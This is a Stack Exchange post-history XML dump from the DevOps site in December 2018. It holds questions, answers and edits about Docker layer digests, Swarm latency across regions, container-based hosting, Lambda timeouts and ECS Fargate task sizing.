  <row Id="18137" PostHistoryTypeId="5" PostId="5666" RevisionGUID="27a0c480-cec2-4a84-bb59-7822ac816e38" CreationDate="2018-12-10T15:42:52.173" UserDisplayName="user5176" Comment="added 289 characters in body" Text="I understand continuous integration as &quot;orchestrating and continuously installing and/or upgrading an environment, or part of an environment, based on communally-maintained code&quot;.&#xD;&#xA;&#xD;&#xA;*- my own definition.*&#xD;&#xA;&#xD;&#xA;But what is the difference between continuous deployment to continuous delivery, if at all there is one and both are not just parallels.&#xD;&#xA;&#xD;&#xA;## Update due to question closed&#xD;&#xA;&#xD;&#xA;From the answer (which I accepted) it seems to me that &quot;Continuous delivery&quot; is an extreme form of &quot;Continuous deployment&quot; and that the difference is &quot;standby and test&quot; versus &quot;directly to production&quot; and that either can be &quot;Continuous integration&quot;." ContentLicense="CC BY-SA 4.0" />
  <row Id="18140" PostHistoryTypeId="8" PostId="5666" RevisionGUID="e9fc349f-9855-4c05-b65a-313217a54ac5" CreationDate="2018-12-10T16:42:54.300" UserId="13" Comment="Rollback to [630d93d6-aecf-486b-859f-a2b26508bc96]" Text="I understand continuous integration as &quot;orchestrating and continuously installing and/or upgrading an environment, or part of an environment, based on communally-maintained code&quot;.&#xD;&#xA;&#xD;&#xA;*- my own definition.*&#xD;&#xA;&#xD;&#xA;But what is the difference between continuous deployment to continuous delivery, if at all there is one and both are not just parallels." ContentLicense="CC BY-SA 4.0" />
  <row Id="18141" PostHistoryTypeId="2" PostId="5672" RevisionGUID="2b47e858-c8fc-4711-a711-eda9c111baa7" CreationDate="2018-12-10T17:54:03.340" UserId="11179" Text="Since 1.10, Docker implements a content addressable method based on a secure hash of the image and layer data:&#xD;&#xA;&#xD;&#xA;    sudo docker pull redis:5.0.2-alpine&#xD;&#xA;    sudo docker inspect --format '{{json .RootFS }}' redis:5.0.2-alpine | jq .&#xD;&#xA;    {&#xD;&#xA;      &quot;Type&quot;: &quot;layers&quot;,&#xD;&#xA;      &quot;Layers&quot;: [&#xD;&#xA;        &quot;sha256:df64d3292fd6194b7865d7326af5255db6d81e9df29f48adde61a918fbd8c332&quot;,&#xD;&#xA;        &quot;sha256:04c8ef03e9356ae0c559ecc63ef5ef7154d5da8d4bef48786a7f00f628047d88&quot;,&#xD;&#xA;        &quot;sha256:169a281fff0fef0bfbec6873d7f0b6d2cad3a67068d0f16e2d32259582a2b95c&quot;,&#xD;&#xA;        &quot;sha256:1943100a0dc33557faa38ea52c3c6e974c0311122fa0ca9c5d8e398ab532ff2b&quot;,&#xD;&#xA;        &quot;sha256:1a49f3e37547b9141b4a5f78aaedb0ddcbfc8871466bbc3d3d8b8dba420c154a&quot;,&#xD;&#xA;        &quot;sha256:ba1d81ed872f9f31960e964cf6d00c77a668fd04ab0277ece2273dbb85003910&quot;&#xD;&#xA;      ]&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;But is there a way to match the layers digest with an image name, either locally downloaded or in some repository?&#xD;&#xA;&#xD;&#xA;As far as I can tell, [`docker search`](https://docs.docker.com/engine/reference/commandline/search) does not allow searching by digest. Or does it?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18142" PostHistoryTypeId="1" PostId="5672" RevisionGUID="2b47e858-c8fc-4711-a711-eda9c111baa7" CreationDate="2018-12-10T17:54:03.340" UserId="11179" Text="How to find the image name corresponding to a layer digest?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18143" PostHistoryTypeId="3" PostId="5672" RevisionGUID="2b47e858-c8fc-4711-a711-eda9c111baa7" CreationDate="2018-12-10T17:54:03.340" UserId="11179" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18144" PostHistoryTypeId="50" PostId="5399" RevisionGUID="f22a1ba7-3729-4677-b911-beba9b7d0f7d" CreationDate="2018-12-10T18:02:15.437" UserId="-1" />
  <row Id="18145" PostHistoryTypeId="2" PostId="5673" RevisionGUID="f50a3fc7-6f88-4732-9b39-4514804342d7" CreationDate="2018-12-10T19:01:35.987" UserId="11289" Text="I need to deploy a highly available Docker Swarm on Azure. I created a VNet in 3 locations: Brazil South (my location), East US and West Europe. Then I enabled network peering so VMs in these locations can see each other as if they were in the same VNet. Cluster seems working fine. The problem is that turns out latency is high between these locations: ~190ms.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA;  1. Is this a recommended topology for HA? Is there a way to improve it?&#xD;&#xA;  1. Will this latency pose any (future) limitations?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18146" PostHistoryTypeId="1" PostId="5673" RevisionGUID="f50a3fc7-6f88-4732-9b39-4514804342d7" CreationDate="2018-12-10T19:01:35.987" UserId="11289" Text="Will Docker Swarm work if masters are spread over 3 continents?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18147" PostHistoryTypeId="3" PostId="5673" RevisionGUID="f50a3fc7-6f88-4732-9b39-4514804342d7" CreationDate="2018-12-10T19:01:35.987" UserId="11289" Text="&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18149" PostHistoryTypeId="2" PostId="5674" RevisionGUID="cc0e8fde-edfe-49d8-b4b1-693eb3e4d2d3" CreationDate="2018-12-10T20:39:50.007" UserDisplayName="user5176" Text="This is not really a DevOps question but more of a System Automation question (which DevoPs covers only a part of, [by popular opinion][1], so I hope it's okay).&#xD;&#xA;&#xD;&#xA;I feel like some **5 USD IaaS VPS** with Ansible could give me the peace of mind of technical stability for say 15 years on a Debian:Stable system, but the Debian:Stable release itself will get old and vulnerable with the years.&#xD;&#xA;&#xD;&#xA;Everything above the OS will generally won't get old because by Ansible (given a correctly orchestrated playbook) will be continuously updated and upgraded.&#xD;&#xA;&#xD;&#xA;Yet the fact that the OS will indeed get old can't get out of my mind. Transferring websites from one IaaS to another even once per 4 or 8 or 12 or 16 years is not something I want to do in principle. One could say, well, you can't eat the cake and keep it whole.&#xD;&#xA;&#xD;&#xA;I thought of using PaaS but PaaS solutions wouldn't necessarily bring me that peace of mind as my data might be &quot;thrown&quot; in some server environment with an old OS (could be old as 20 or 25 years) without me even knowing that and not all PaaS companies guarantee streamed OS release_upgrade.&#xD;&#xA;&#xD;&#xA;So, I desire some full **system automation** solution. Is there even such a thing which is usually stable and countable in earth in 2018? I ask this totally seriously, maybe I need some Medical Cannabis or Diazepam (or both) just to be less stressed about this, but maybe a technical solution (which isn't SaaS of course) is there and might suite my needs?&#xD;&#xA;&#xD;&#xA;I just want to build my websites (usually Drupal) on the most automated, most upgraded system (OS and above) possible, in the budget of 5-30 USDs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/3/whats-the-difference-between-devops-and-automation" ContentLicense="CC BY-SA 4.0" />
  <row Id="18150" PostHistoryTypeId="1" PostId="5674" RevisionGUID="cc0e8fde-edfe-49d8-b4b1-693eb3e4d2d3" CreationDate="2018-12-10T20:39:50.007" UserDisplayName="user5176" Text="Is there a fully automatized system in everything (OS release, and above) to host websites on?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18151" PostHistoryTypeId="3" PostId="5674" RevisionGUID="cc0e8fde-edfe-49d8-b4b1-693eb3e4d2d3" CreationDate="2018-12-10T20:39:50.007" UserDisplayName="user5176" Text="&lt;ansible&gt;&lt;linux&gt;&lt;automation&gt;&lt;infrastructure&gt;&lt;platform-as-a-service&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18152" PostHistoryTypeId="2" PostId="5675" RevisionGUID="4de321ab-778a-407e-8672-63d85b891fe4" CreationDate="2018-12-10T20:53:21.630" UserId="7730" Text="There are various timeouts within swarm mode that do not handle high latency well and may start to assume nodes within the cluster are down, lose quorum, or have networking issues. For HA, the standard advice is to have multi-AZ but not multi-region for a single cluster. For use cases that need multi-region, you would deploy multiple swarm clusters, one per region. If you really need multi-region with a single swarm cluster, then consider placing all of the management nodes within the same region and only deploying worker nodes to the other regions." ContentLicense="CC BY-SA 4.0" />
  <row Id="18153" PostHistoryTypeId="2" PostId="5676" RevisionGUID="bfb8668c-4682-4a1f-8760-63b823834d76" CreationDate="2018-12-10T21:06:17.833" UserId="7730" Text="The mapping between image manifest and layers goes the other way. You can have one or more image manifests pointing to a layer. And those images may not even be tagged with an image name, or a single image may have multiple tags. So I'm not aware of an easy way to do a reverse search. You would need to go through each image on the local system or registry to see what images point to that layer, and then search the tags to see what names that image has." ContentLicense="CC BY-SA 4.0" />
  <row Id="18154" PostHistoryTypeId="50" PostId="1088" RevisionGUID="20a57304-bbf0-4cc5-b6cf-71c6e71de6f8" CreationDate="2018-12-10T22:03:00.643" UserId="-1" />
  <row Id="18156" PostHistoryTypeId="2" PostId="5678" RevisionGUID="6ffb7b38-c131-434a-a1ed-08e87397ff51" CreationDate="2018-12-11T03:30:02.590" UserId="7772" Text="I received a timeout when trying to perform 7000 * 3 inserts into MariaDB in 30 seconds with AWS Python Lambda. I have three ideas how to get around the 30 second API Gateway timeout:&#xD;&#xA;&#xD;&#xA; 1. Convert the data to a file which MariaDB can import using `LOAD_DATA_INFILE` and let the Lambda do that. &#xD;&#xA;&#xD;&#xA; 2. Write the data in a file to S3 and let another function write the data from S3 to MariaDB which then will not have the API Gateway timeout limit. &#xD;&#xA;&#xD;&#xA; 3. Let the web client convert the file in JavaScript. &#xD;&#xA;&#xD;&#xA;I am leaning towards the first strategy, to try and use `LOAD_DATA_INFILE` from the Lambda function. Do you agree?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18157" PostHistoryTypeId="1" PostId="5678" RevisionGUID="6ffb7b38-c131-434a-a1ed-08e87397ff51" CreationDate="2018-12-11T03:30:02.590" UserId="7772" Text="Strategies to work around 30 sec timeout" ContentLicense="CC BY-SA 4.0" />
  <row Id="18158" PostHistoryTypeId="3" PostId="5678" RevisionGUID="6ffb7b38-c131-434a-a1ed-08e87397ff51" CreationDate="2018-12-11T03:30:02.590" UserId="7772" Text="&lt;databases&gt;&lt;aws-lambda&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18160" PostHistoryTypeId="2" PostId="5679" RevisionGUID="38ad228f-d726-4a86-aa49-214be7e141d3" CreationDate="2018-12-11T06:16:14.300" UserId="6726" Text="From https://docs.docker.com/docker-hub/official_repos/&#xD;&#xA;&#xD;&#xA;&gt; Docker, Inc. sponsors a dedicated team that is responsible for reviewing and publishing all content in the official repositories. This team works in collaboration with upstream software maintainers, security experts, and the broader Docker community. While it is preferable to have upstream software authors maintaining their corresponding Official Repositories, this is not a strict requirement. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18161" PostHistoryTypeId="2" PostId="5680" RevisionGUID="d1069f0e-7401-4b8f-9edb-fdb5b545c5ff" CreationDate="2018-12-11T06:49:27.947" UserId="8251" Text="A variation of method 2 is infinitely scalable:&#xA;&#xA;- write the data to s3.&#xA;- from s3 trigger lambda to break s3 file into sqs queue events of good size&#xA;-  from sqs queue trigger lambdas to insert&#xA;- sqs can be fifo queue if it matters.&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="18162" PostHistoryTypeId="2" PostId="5681" RevisionGUID="7e9a2c59-9dc1-4d55-ad1a-0678cf21d9eb" CreationDate="2018-12-11T07:00:34.657" UserId="10599" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plugs would break. So then I would stick on the latest major version things worked on and hope no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has published lifetime. &#xD;&#xA;&#xD;&#xA;I learnt from the lesson above that the entire software ecosystem I was using didn't care about the problem of long-term support. It had a short-term worldview and the vast majority of its users didn't know and didn't care.  The world has moved on the PHP7 world is taking a new approach to have a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as fun new feature that run fun new features that are hot on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP containers. A weekly job checks the upstream container registry and if there is announce to a team chat room the command to patch the test environment with the new patch. A commercial subscription to those patches in included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. Then as I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes which my containers around to other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that only have what I need to run my app on and that only changes when I choose to upgrade. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be docker swarm or whatever. All I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweetspot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18163" PostHistoryTypeId="2" PostId="5682" RevisionGUID="5573bf77-f5e1-4096-bbc4-ee17886dcef7" CreationDate="2018-12-11T08:52:35.510" UserId="5183" Text="Not sure this helps you directly, but one option is to build the application within your CI build and push the (versioned) binaries/packages into an artifact repositorie like [Sonatype Nexus][1] or [JFrog Artifactory][2]. &#xD;&#xA;Your build would then, in a later step pull these binaries from the target machine/from within the droplet.&#xD;&#xA;&#xD;&#xA;There are many packaging formats, depending on your technology stack, like e.g. NPM packages, jars, nuget packages, gems, Docker images and so on. Typically, you can also define your own package formats.&#xD;&#xA;&#xD;&#xA;As I said, this is not a direct answer to the question about &quot;enterprise level file transfer tools&quot;, but it is a common way to decouple building and pushing the application and pulling/deploying it.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.sonatype.com/nexus-repository-sonatype&#xD;&#xA;  [2]: https://jfrog.com/artifactory/" ContentLicense="CC BY-SA 4.0" />
  <row Id="18166" PostHistoryTypeId="5" PostId="5681" RevisionGUID="c21e3c08-2273-4ca8-9bba-c65cd0625175" CreationDate="2018-12-11T10:27:58.663" UserId="10599" Comment="deleted 15 characters in body" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plugs would break. So then I would stick on the latest major version things worked on and hope no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has published lifetime. &#xD;&#xA;&#xD;&#xA;I learnt from the lesson above that the entire software ecosystem I was using didn't care about the problem of long-term support. It had a short-term worldview and the vast majority of its users didn't know and didn't care.  The world has moved on the PHP7 world is taking a new approach to have a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as fun new framework features that are hot on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP containers. A weekly job checks the upstream container registry and if there is announce to a team chat room the command to patch the test environment with the new patch. A commercial subscription to those patches in included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. Then as I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes which my containers around to other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that only have what I need to run my app on and that only changes when I choose to upgrade. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be docker swarm or whatever. All I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweetspot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18167" PostHistoryTypeId="5" PostId="5651" RevisionGUID="bda4dcaf-d721-4042-9f3e-74e0370ff969" CreationDate="2018-12-11T11:25:09.647" UserId="1218" Comment="Update with new knowledge, resolving one sub-question." Text="I am trialling AWS ECS for the first time. I've run through [the tutorials][1] and now I'm trying to deploy an existing Docker Compose suite which I've been using on Digital Ocean for some time.&#xD;&#xA;&#xD;&#xA;I have four containers in my composition, an ExpressJS app, NGinx, MemcacheD, and a Python Flask API. These work OK on a Digital Ocean 1GB RAM host. &#xD;&#xA;&#xD;&#xA;I've been following the guide and specs here: https://github.com/aws/amazon-ecs-cli#launching-an-aws-fargate-task and other general ECS CLI guides.&#xD;&#xA;&#xD;&#xA;I've got ECS to make the cluster+service from the docker YAML (with a few tweaks), but when I try to UP the service, I get an error that the t2.micro EC2 which Fargate boots isn't big enough:&#xD;&#xA;&#xD;&#xA;    INFO[0016] (service CI) was unable to place a task because no container instance met all of its requirements. &#xD;&#xA;    The closest matching (container-instance ...) has insufficient memory available. &#xD;&#xA;    For more information, see the Troubleshooting section of the Amazon ECS Developer Guide.&#xD;&#xA;&#xD;&#xA;So I'd like to force it to boot an t2.small (2GB RAM) or higher.&#xD;&#xA;&#xD;&#xA;I see that you cannot directly tell Fargate to use a specific instant type from ECS - that setting is only for &quot;EC2&quot; direct, but I want to use Fargate to automate the instance management.&#xD;&#xA;&#xD;&#xA;I have tried using the `task_size` memory parameter (which I believe to be the correct way of informing Fargate of your application's requirements?) but this doesn't affect the choice of EC2 instance type which Fargate boots - it still boots the default t2.micro.&#xD;&#xA;&#xD;&#xA;I added this YML file with `--ecs-params`:&#xD;&#xA;&#xD;&#xA;    version: 1&#xD;&#xA;    task_definition:&#xD;&#xA;      task_size:&#xD;&#xA;        cpu_limit: 512&#xD;&#xA;        mem_limit: 2GB&#xD;&#xA;&#xD;&#xA;When I rebuild my cluster from scratch with this definition, I can see the 2GB is correctly configured under the taskDefinition page (`console.aws.amazon.com/ecs/home#/taskDefinitions/...`) - so the configuration is provided OK, but when I view the instance it's booted, it's still a t2.micro with 1GB RAM.&#xD;&#xA;&#xD;&#xA;Am I misunderstanding the task_size.memory parameter?&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs-cli-tutorial-fargate.html&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EDIT:  &#xD;&#xA;I was mistaken in thinking the 2GB setting would influence the host instance size. This is not the case: `ecs-cli up` brings up the cluster and instance long before the docker-specified services are created by `ecs-cli compose service up` which reads those task params.&#xD;&#xA;&#xD;&#xA;The task size parameter is per TASK which in Docker Compose terms are &quot;services&quot; (I think of them as containers plus exec params). So as I have four services, there will be four ECS tasks. To get the four tasks to fit inside a 1GB host therefore, task size should be 256MB (not 2GB!)&#xD;&#xA;&#xD;&#xA;task_definition:&#xD;&#xA;  task_size:&#xD;&#xA;    cpu_limit: 512&#xD;&#xA;    mem_limit: 0.5GB&#xD;&#xA;&#xD;&#xA;This now gets further creating the services, without the memory error. I don't quite understand why (as 0.5GB x 4 is still too big). &#xD;&#xA;&#xD;&#xA;So while this has avoided the error, I still want to know how to create a larger instance when performing `ecs-cli up` with Fargate." ContentLicense="CC BY-SA 4.0" />
  <row Id="18168" PostHistoryTypeId="5" PostId="5674" RevisionGUID="9924f3db-13ac-49dc-aa6e-c18ac6811375" CreationDate="2018-12-11T11:29:35.100" UserId="354" Comment="cleaned up grammar" Text="This is not really a DevOps question but more of a System Automation question (which DevOps covers only a part of, [by popular opinion][1], so I hope it's okay).&#xD;&#xA;&#xD;&#xA;I feel like some **5 USD IaaS VPS** with Ansible could give me the peace of mind of technical stability for say 15 years on a `debian:stable` system, but the Debian:Stable release itself will get old and vulnerable with the years.&#xD;&#xA;&#xD;&#xA;Everything above the OS will generally won't get old because by Ansible (given a correctly orchestrated playbook) will be continuously updated and upgraded.&#xD;&#xA;&#xD;&#xA;Yet the fact that the OS will indeed get old can't get out of my mind. Transferring websites from one IaaS to another even once per 4 or 8 or 12 or 16 years is not something I want to do in principle. One could say, well, you can't eat the cake and keep it whole.&#xD;&#xA;&#xD;&#xA;I thought of using PaaS but PaaS solutions wouldn't necessarily bring me that peace of mind as my data might be &quot;thrown&quot; in some server environment with an old OS (could be old as 20 or 25 years) without me even knowing that and not all PaaS companies guarantee streamed OS release_upgrade.&#xD;&#xA;&#xD;&#xA;So, I desire some full **system automation** solution. Is there even such a thing which is usually stable and countable in earth in 2018? I ask this totally seriously, maybe I need some Medical Cannabis or Diazepam (or both) just to be less stressed about this, but maybe a technical solution (which isn't SaaS of course) is there and might suit my needs?&#xD;&#xA;&#xD;&#xA;I just want to build my websites (usually Drupal) on the most automated, most upgraded system (OS and above) possible, in the budget of 5-30 USDs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/3/whats-the-difference-between-devops-and-automation" ContentLicense="CC BY-SA 4.0" />
  <row Id="18169" PostHistoryTypeId="4" PostId="5674" RevisionGUID="9924f3db-13ac-49dc-aa6e-c18ac6811375" CreationDate="2018-12-11T11:29:35.100" UserId="354" Comment="cleaned up grammar" Text="Is there a system which automates everything (OS release, and above) to host websites on?" ContentLicense="CC BY-SA 4.0" />
  <row Id="18170" PostHistoryTypeId="24" PostId="5674" RevisionGUID="9924f3db-13ac-49dc-aa6e-c18ac6811375" CreationDate="2018-12-11T11:29:35.100" Comment="Proposed by 354 approved by -1 edit id of 883" ContentLicense="CC BY-SA 4.0" />
  <row Id="18171" PostHistoryTypeId="5" PostId="5674" RevisionGUID="b957f818-eb5f-4122-b232-98a67f3c94a6" CreationDate="2018-12-11T11:29:35.100" UserId="40" Comment="remove noise" Text="This is not really a DevOps question but more of a System Automation question (which DevOps covers only a part of, [by popular opinion][1], so I hope it's okay).&#xD;&#xA;&#xD;&#xA;I feel like some **5 USD IaaS VPS** with Ansible could give me the peace of mind of technical stability for say 15 years on a `debian:stable` system, but the Debian:Stable release itself will get old and vulnerable with the years.&#xD;&#xA;&#xD;&#xA;Everything above the OS will generally won't get old because by Ansible (given a correctly orchestrated playbook) will be continuously updated and upgraded.&#xD;&#xA;&#xD;&#xA;Yet the fact that the OS will indeed get old can't get out of my mind. Transferring websites from one IaaS to another even once per 4 or 8 or 12 or 16 years is not something I want to do in principle. One could say, well, you can't eat the cake and keep it whole.&#xD;&#xA;&#xD;&#xA;I thought of using PaaS but PaaS solutions wouldn't necessarily bring me that peace of mind as my data might be &quot;thrown&quot; in some server environment with an old OS (could be old as 20 or 25 years) without me even knowing that and not all PaaS companies guarantee streamed OS release_upgrade.&#xD;&#xA;&#xD;&#xA;So, I desire some full **system automation** solution. Is there even such a thing which is usually stable and countable in earth in 2018? I ask this totally seriously, maybe I need to be less stressed about this, but maybe a technical solution (which isn't SaaS of course) is there and might suit my needs?&#xD;&#xA;&#xD;&#xA;I just want to build my websites (usually Drupal) on the most automated, most upgraded system (OS and above) possible, in the budget of 5-30 USDs. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/3/whats-the-difference-between-devops-and-automation" ContentLicense="CC BY-SA 4.0" />
  <row Id="18176" PostHistoryTypeId="5" PostId="5681" RevisionGUID="7c209f67-8eb4-4e80-9665-e2a6588c4c8e" CreationDate="2018-12-11T13:01:39.280" UserId="10599" Comment="added 767 characters in body" Text="**TL;DR** Pick software that focuses on long-term support. Use containers so that you can separate the runtime you need for your app from the security patching of the underlying infrastructure. &#xD;&#xA;&#xD;&#xA;**Long Answer:**&#xD;&#xA;&#xD;&#xA;I used to run some old PHP sites running popular content management systems. The plugins would fall out of support such that I could not upgrade the content management system else the plugs would break. So then I would stick on the latest major version things worked on and hope no new security holes would come. I then ran monitoring software and manually fought off any scripts that got injected through security holes. Then the operating systems that support that old version of PHP I needed would fall out of support. I then couldn't easily move the hoster to take better use of cheaper deals or high availability. So I would find ports of the legacy PHP I needed onto the oldest version of an OS that hosters would support. Total nightmare. &#xD;&#xA;&#xD;&#xA;What this demonstrated to me was that some software isn't built to last more than three or four years. Millions of sites would have had the same issues as me but tens of millions more wouldn't have as they would have been shutdown else rebuilt from scratch on newer software. So the first lesson here is that if you think you need to build for the long term you need to figure out if your using software that cares about long-term support and has published lifetime. &#xD;&#xA;&#xD;&#xA;I learnt from the lesson above that the entire software ecosystem I was using didn't care about the problem of long-term support. It had a short-term worldview and the vast majority of its users didn't know and didn't care.  The world has moved on the PHP7 world is taking a new approach to have a predictable software release cycle and lifetime (still quite short I might add, but more predictable). You should not just assume nor expect any distro or any community to be with you for the long haul unless that is exactly what they said they are trying to do. And if that is what they are trying to do then they won't do other things that are in conflict with that such as fun new framework features that are hot on stackoverflow. &#xD;&#xA;&#xD;&#xA;These days I happen to be helping a company that is running Node.js 8 and PHP 7.x on RHEL7 containers on kubernetes on AWS. They get long-term support of security updates with a published lifetime. I have automated the detection of new security patches to the PHP and Node.js containers. A weekly job checks the upstream container registry and if there is announce to a team chat room the command to patch the test environment with the new patch. A commercial subscription to those patches in included in my managed kubernetes hosting costs. Yet as its all opensource I could fall back to using Centos7 if I wanted to cut some costs. Then as I am running containers I don't care whatsoever what patches are being applied to the IaaS nor the version of kubernetes I am hosted on. I am on openshift.com and they have upgraded to 3.11 through security fixes without telling me. They just patch the worker VMs and bounce them and kubernetes starts my containers on other VMs. I am insulated from all the security patching of the cluster I am on because I am running containers that have on them only what is needed to run my app. That only changes when I choose to upgrade to a new container and with long-term security patch support I don't need to do that for years. I understand that they a very stripped down distro that runs my containers to maximise their security and customer density. It doesn't matter to me my apps only load the what is in the container I push.  The idea of an IaaS stack of Linux that goes out of support seems a totally alien concept to me now even through I lived many years with that problem. &#xD;&#xA;&#xD;&#xA;It also means that I am free to move to any cloud or hosting provider that can run my containers. It doesn't have to be kubernetes it could be docker swarm or whatever. All I am betting on is that this better way of working with containers will be supported in the long term. I think that's a good bet. A container image is only a json file naming a load of tar files that are the layers in the image. Yes; its just tar files and json. As long as the container host can load my files from a tar and attach a TCP/IP stack my stuff will run. I am pretty confident that this approach will have a very, very long shelf life. &#xD;&#xA;&#xD;&#xA;I don't think that anyone that is trying to run apps should start out on IaaS today. PaaS is one solution but tends to have very strong vendor lock-in. CaaS is the new sweet spot. Choice. Stability. Control. Portability. If it runs under docker on your laptop just push it to the container orchestrator you are renting space on. My containers only have one thing in them. The hosts that they run on only does secure container hosting. " ContentLicense="CC BY-SA 4.0" />
  <row Id="18177" PostHistoryTypeId="5" PostId="5645" RevisionGUID="2600dcaa-0ca4-4fb9-81fc-8686890a41a1" CreationDate="2018-12-11T13:07:12.043" UserId="10599" Comment="added 16 characters in body" Text="Try [LFTP][1] that has commands to mirror or parallel copy. LFTP can run over many protocols.&#xD;&#xA;&#xD;&#xA;The likely problem you have is that you are transfering a lot of data from a build service to a single vm over the Internet. Enterprises use the same tools and protocols but they pay for more bandwidth else ensure that their builds and deploy happens within the same cloud provider. They then deploy to many servers in parallel using standard protocols like SCP with tools like Ansible. The networks within a single cloud provider (Azure, AWS, GCP) are prioritised. This means of you want fat deployment bandwidth, and to run on Digital Ocean, you should build on Digital Ocean. &#xD;&#xA;&#xD;&#xA;It may be the case that a very large amount of the 50k of files dont change on each build. So what you really want is a tool that looks at what files are already deployed. We can expect such tools to use file name, timestamps, file sizes and checksums to check whether a file needs uploading. If your build is stateless and creates 1G of fresh files each time their timestamps are going to be newer that the identical files already deployed. LFTP has an &quot;ignore time stamp&quot; option to avoid transfers of newer but identical files. See this question and answer https://serverfault.com/a/311670 &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.cyberciti.biz/tips/linux-unix-download-accelerator.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="18178" PostHistoryTypeId="5" PostId="5317" RevisionGUID="ea3d638f-ef29-4a04-bb84-33f97b2be990" CreationDate="2018-12-11T14:19:22.663" UserId="8375" Comment="added 1 character in body" Text="We are currently investigating https://github.com/roboll/helmfile to easily sync Helm charts across namespaces." ContentLicense="CC BY-SA 4.0" />
